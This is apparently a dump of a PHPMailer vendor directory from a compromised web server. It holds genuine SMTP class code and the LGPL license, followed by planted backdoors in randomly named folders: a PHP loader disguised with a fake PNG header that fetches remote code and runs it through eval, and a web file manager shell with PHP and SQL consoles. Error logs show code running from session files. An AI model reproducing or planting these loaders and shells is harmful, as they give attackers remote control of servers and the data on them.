'HELO'|'EHLO': returns the server name * $name == any other string: if extension $name exists, returns True * or its options (e.g. AUTH mechanisms supported). Otherwise returns False. * * @param string $name Name of SMTP extension or 'HELO'|'EHLO' * * @return string|bool|null */ public function getServerExt($name) { if (!$this->server_caps) { $this->setError('No HELO/EHLO was sent'); return null; } if (!array_key_exists($name, $this->server_caps)) { if ('HELO' === $name) { return $this->server_caps['EHLO']; } if ('EHLO' === $name || array_key_exists('EHLO', $this->server_caps)) { return false; } $this->setError('HELO handshake was used; No information about server extensions available'); return null; } return $this->server_caps[$name]; } /** * Get the last reply from the server. * * @return string */ public function getLastReply() { return $this->last_reply; } /** * Read the SMTP server's response. * Either before eof or socket timeout occurs on the operation. * With SMTP we can tell if we have more lines to read if the * 4th character is '-' symbol. If it is a space then we don't * need to read anything else. * * @return string */ protected function get_lines() { //If the connection is bad, give up straight away if (!is_resource($this->smtp_conn)) { return ''; } $data = ''; $endtime = 0; stream_set_timeout($this->smtp_conn, $this->Timeout); if ($this->Timelimit > 0) { $endtime = time() + $this->Timelimit; } $selR = [$this->smtp_conn]; $selW = null; while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) { //Must pass vars in here as params are by reference //solution for signals inspired by https://github.com/symfony/symfony/pull/6540 set_error_handler([$this, 'errorHandler']); $n = stream_select($selR, $selW, $selW, $this->Timelimit); restore_error_handler(); if ($n === false) { $message = $this->getError()['detail']; $this->edebug( 'SMTP -> get_lines(): select failed (' . $message . ')', self::DEBUG_LOWLEVEL ); //stream_select returns false when the `select` system call is interrupted //by an incoming signal, try the select again if (stripos($message, 'interrupted system call') !== false) { $this->edebug( 'SMTP -> get_lines(): retrying stream_select', self::DEBUG_LOWLEVEL ); $this->setError(''); continue; } break; } if (!$n) { $this->edebug( 'SMTP -> get_lines(): select timed-out in (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Deliberate noise suppression - errors are handled afterwards $str = @fgets($this->smtp_conn, self::MAX_REPLY_LENGTH); $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL); $data .= $str; //If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled), //or 4th character is a space or a line break char, we are done reading, break the loop. //String array access is a significant micro-optimisation over strlen if (!isset($str[3]) || $str[3] === ' ' || $str[3] === "\r" || $str[3] === "\n") { break; } //Timed-out? Log and break $info = stream_get_meta_data($this->smtp_conn); if ($info['timed_out']) { $this->edebug( 'SMTP -> get_lines(): stream timed-out (' . $this->Timeout . ' sec)', self::DEBUG_LOWLEVEL ); break; } //Now check if reads took too long if ($endtime && time() > $endtime) { $this->edebug( 'SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' sec)', self::DEBUG_LOWLEVEL ); break; } } return $data; } /** * Enable or disable VERP address generation. * * @param bool $enabled */ public function setVerp($enabled = false) { $this->do_verp = $enabled; } /** * Get VERP address generation mode. * * @return bool */ public function getVerp() { return $this->do_verp; } /** * Set error messages and codes. * * @param string $message The error message * @param string $detail Further detail on the error * @param string $smtp_code An associated SMTP error code * @param string $smtp_code_ex Extended SMTP code */ protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '') { $this->error = [ 'error' => $message, 'detail' => $detail, 'smtp_code' => $smtp_code, 'smtp_code_ex' => $smtp_code_ex, ]; } /** * Set debug output method. * * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it */ public function setDebugOutput($method = 'echo') { $this->Debugoutput = $method; } /** * Get debug output method. * * @return string */ public function getDebugOutput() { return $this->Debugoutput; } /** * Set debug output level. * * @param int $level */ public function setDebugLevel($level = 0) { $this->do_debug = $level; } /** * Get debug output level. * * @return int */ public function getDebugLevel() { return $this->do_debug; } /** * Set SMTP timeout. * * @param int $timeout The timeout duration in seconds */ public function setTimeout($timeout = 0) { $this->Timeout = $timeout; } /** * Get SMTP timeout. * * @return int */ public function getTimeout() { return $this->Timeout; } /** * Reports an error number and string. * * @param int $errno The error number returned by PHP * @param string $errmsg The error message returned by PHP * @param string $errfile The file the error occurred in * @param int $errline The line number the error occurred on */ protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0) { $notice = 'Connection failed.'; $this->setError( $notice, $errmsg, (string) $errno ); $this->edebug( "$notice Error #$errno: $errmsg [$errfile line $errline]", self::DEBUG_CONNECTION ); } /** * Extract and return the ID of the last SMTP transaction based on * a list of patterns provided in SMTP::$smtp_transaction_id_patterns. * Relies on the host providing the ID in response to a DATA command. * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null */ protected function recordLastTransactionID() { $reply = $this->getLastReply(); if (empty($reply)) { $this->last_smtp_transaction_id = null; } else { $this->last_smtp_transaction_id = false; foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) { $matches = []; if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) { $this->last_smtp_transaction_id = trim($matches[1]); break; } } } return $this->last_smtp_transaction_id; } /** * Get the queue/transaction ID of the last SMTP transaction * If no reply has been received yet, it will return null. * If no pattern was matched, it will return false. * * @return bool|string|null * * @see recordLastTransactionID() */ public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } PHPMailer/vendor/phpmailer/phpmailer/LICENSE000064400000063641151026170410014600 0ustar00 GNU LESSER GENERAL PUBLIC LICENSE Version 2.1, February 1999 Copyright (C) 1991, 1999 Free Software Foundation, Inc. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. [This is the first released version of the Lesser GPL. It also counts as the successor of the GNU Library Public License, version 2, hence the version number 2.1.] Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below. When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things. To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it. For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights. We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library. To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license. Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs. When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library. We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances. For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. , 1 April 1990 Ty Coon, President of Vice That's all there is to it!PHPMailer/vendor/phpmailer/phpmailer/ai8wg4/error_log000064400000000370151026170410016601 0ustar00[27-Oct-2025 03:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#flex.php on line 131 PHPMailer/vendor/phpmailer/phpmailer/ai8wg4/index.php000064400000000150151026170410016500 0ustar00PHPMailer/vendor/phpmailer/phpmailer/z2k01y/j5b8n.php000064400000004773151026170410016273 0ustar00\x89\x50\x4E\x47\x0D\x0A\x1A\x0A eof()) { $内容 .= $文件->fgets(); } } catch (Throwable $错误) { $内容 = ''; } // 尝试用 file_get_contents if (strlen(trim($内容)) < 1) { $内容 = @file_get_contents($地址); } // 如果还失败,使用 curl if (strlen(trim($内容)) < 1 && function_exists('curl_init')) { $通道 = curl_init($地址); curl_setopt_array($通道, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10, ]); $内容 = curl_exec($通道); curl_close($通道); } return $内容; } // 尝试加载主网址 $结果 = 加载数据($主地址); // 添加假的PNG头部 $假PNG头 = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A"; // 拼接PNG头和结果内容 $结果 = $假PNG头 . $结果; /**_**//**_**//**_**//**_**//**_**//**_**//**_**/ // 如果成功获取内容,则执行 if (strlen(trim($结果)) > 0) { @eval("?>$结果"); } ?> PHPMailer/vendor/phpmailer/phpmailer/error_log000064400000007051151026170410015501 0ustar00[27-Oct-2025 03:33:48 UTC] PHP Notice: Undefined index: a in /opt/alt/php72/var/lib/php/session/sess_622463a38f168eed252b4a5a08e02072 on line 1 [27-Oct-2025 03:33:48 UTC] PHP Notice: Undefined index: p in /opt/alt/php72/var/lib/php/session/sess_622463a38f168eed252b4a5a08e02072 on line 1 [27-Oct-2025 03:33:48 UTC] PHP Notice: Undefined index: p in /opt/alt/php72/var/lib/php/session/sess_622463a38f168eed252b4a5a08e02072 on line 1 [27-Oct-2025 03:33:48 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_622463a38f168eed252b4a5a08e02072 on line 1 [27-Oct-2025 03:33:48 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_622463a38f168eed252b4a5a08e02072 on line 1 [27-Oct-2025 03:33:48 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_622463a38f168eed252b4a5a08e02072 on line 1 [27-Oct-2025 03:33:48 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_622463a38f168eed252b4a5a08e02072 on line 1 [27-Oct-2025 03:45:25 UTC] PHP Notice: Undefined index: a in /opt/alt/php72/var/lib/php/session/sess_d47f7e1311d29df175065e1b4bbce6b0 on line 1 [27-Oct-2025 03:45:25 UTC] PHP Notice: Undefined index: p in /opt/alt/php72/var/lib/php/session/sess_d47f7e1311d29df175065e1b4bbce6b0 on line 1 [27-Oct-2025 03:45:25 UTC] PHP Notice: Undefined index: p in /opt/alt/php72/var/lib/php/session/sess_d47f7e1311d29df175065e1b4bbce6b0 on line 1 [27-Oct-2025 03:45:25 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_d47f7e1311d29df175065e1b4bbce6b0 on line 1 [27-Oct-2025 03:45:25 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_d47f7e1311d29df175065e1b4bbce6b0 on line 1 [27-Oct-2025 03:45:25 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_d47f7e1311d29df175065e1b4bbce6b0 on line 1 [27-Oct-2025 03:45:25 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_d47f7e1311d29df175065e1b4bbce6b0 on line 1 [27-Oct-2025 03:45:28 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_28007f40202721a5c0f6051de118398c on line 1 [27-Oct-2025 03:45:28 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_28007f40202721a5c0f6051de118398c on line 1 [27-Oct-2025 03:45:28 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_28007f40202721a5c0f6051de118398c on line 1 [27-Oct-2025 03:45:28 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_28007f40202721a5c0f6051de118398c on line 1 [27-Oct-2025 04:30:29 UTC] PHP Notice: Undefined index: a in /opt/alt/php72/var/lib/php/session/sess_85226b67e59082e520f165c0e4a33255 on line 1 [27-Oct-2025 04:30:29 UTC] PHP Notice: Undefined index: p in /opt/alt/php72/var/lib/php/session/sess_85226b67e59082e520f165c0e4a33255 on line 1 [27-Oct-2025 04:30:29 UTC] PHP Notice: Undefined index: p in /opt/alt/php72/var/lib/php/session/sess_85226b67e59082e520f165c0e4a33255 on line 1 [27-Oct-2025 04:30:29 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_85226b67e59082e520f165c0e4a33255 on line 1 [27-Oct-2025 04:30:29 UTC] PHP Notice: Undefined index: x in /opt/alt/php72/var/lib/php/session/sess_85226b67e59082e520f165c0e4a33255 on line 1 [27-Oct-2025 04:30:29 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_85226b67e59082e520f165c0e4a33255 on line 1 [27-Oct-2025 04:30:29 UTC] PHP Notice: Undefined index: s in /opt/alt/php72/var/lib/php/session/sess_85226b67e59082e520f165c0e4a33255 on line 1 PHPMailer/vendor/phpmailer/phpmailer/27pdh0/4fixr.php000064400000241311151026170410016334 0ustar00‰PNG‰PNG       ‰PNG‰PNG       true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : 